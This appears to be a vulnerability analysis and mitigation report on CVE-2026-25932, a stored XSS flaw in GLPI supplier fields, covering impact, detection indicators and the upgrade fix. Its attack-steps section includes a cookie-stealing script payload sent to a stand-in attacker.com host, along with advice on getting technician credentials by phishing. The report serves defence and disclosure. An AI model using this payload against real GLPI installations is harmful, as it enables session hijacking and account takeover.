CVE-2026-25932: 
GLPI vulnerability analysis and mitigation

CVE-2026-25932 is a stored Cross-Site Scripting (XSS) vulnerability in GLPI, a free Asset and IT Management Software package. An authenticated technician user can inject and store a malicious XSS payload in supplier fields, which is then executed in the browsers of other users who view the affected data. The vulnerability affects GLPI versions from 0.60 up to (but not including) 10.0.24, and was disclosed on April 6, 2026. It carries a CVSS v3.1 base score of 4.8 (Medium) per NVD, though the GitHub Security Advisory rates it as High (7.2) (GitHub Advisory, Red Hat CVE).

The root cause is improper encoding or escaping of output (CWE-116) combined with improper neutralization of input during web page generation (CWE-79). An authenticated technician-level user can submit a crafted XSS payload into supplier-related fields within GLPI; because the application fails to properly sanitize or encode this input before rendering it in the browser, the payload is stored persistently and executed when any user views the affected supplier record. Exploitation requires network access and a valid technician account, but no additional user interaction is needed for the payload to execute once stored (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other authenticated users' browser sessions, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of victims, or further lateral movement within the GLPI application. The confidentiality and integrity of data accessible to affected users are at risk, though availability is not directly impacted. Higher-privileged users (e.g., administrators) viewing the poisoned supplier record could be particularly high-value targets (GitHub Advisory, Red Hat CVE).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of this report. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.044%, indicating a low probability of exploitation in the near term. Exploitation requires an authenticated technician account, which limits the attacker pool but does not eliminate risk in environments with many users (GitHub Advisory).

1. Obtain Technician Credentials: Acquire a valid GLPI technician-level account through phishing, credential stuffing, or insider access.
2. Navigate to Supplier Fields: Log in to the GLPI web interface and navigate to the supplier management section (e.g., Management > Suppliers).
3. Inject XSS Payload: In a supplier field (such as name, comment, or another text input), enter a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Save the Record: Submit the form to persist the malicious payload in the GLPI database.
5. Wait for Victim Interaction: When another user (e.g., an administrator) views the affected supplier record, the stored script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (GitHub Advisory).

• Logs: GLPI application logs showing supplier record creation or modification by technician accounts containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) in field values; web server access logs with unusual outbound requests from user browsers to external domains shortly after viewing supplier pages.
• Network: Outbound HTTP/S requests from client browsers to unknown external domains immediately following access to GLPI supplier pages, potentially carrying cookie or session data as query parameters.
• Application Data: Supplier records in the GLPI database containing raw HTML or JavaScript in text fields that would not normally contain such content.

The vulnerability is fixed in GLPI version 10.0.24. All users running GLPI versions from 0.60 to below 10.0.24 should upgrade immediately. No configuration-based workaround is documented; upgrading to the patched release is the only recommended remediation. Organizations should also review supplier records for any previously stored malicious payloads and audit technician account activity (GitHub Advisory).

The vulnerability was credited to researcher "varandaa" in the GitHub Security Advisory. A Bluesky post from the CyberHub blog referenced the CVE shortly after disclosure, and Tenable published a Nessus detection plugin (ID 305610) for the vulnerability. No major vendor statements or significant media coverage beyond standard vulnerability tracking have been observed (GitHub Advisory, Tenable).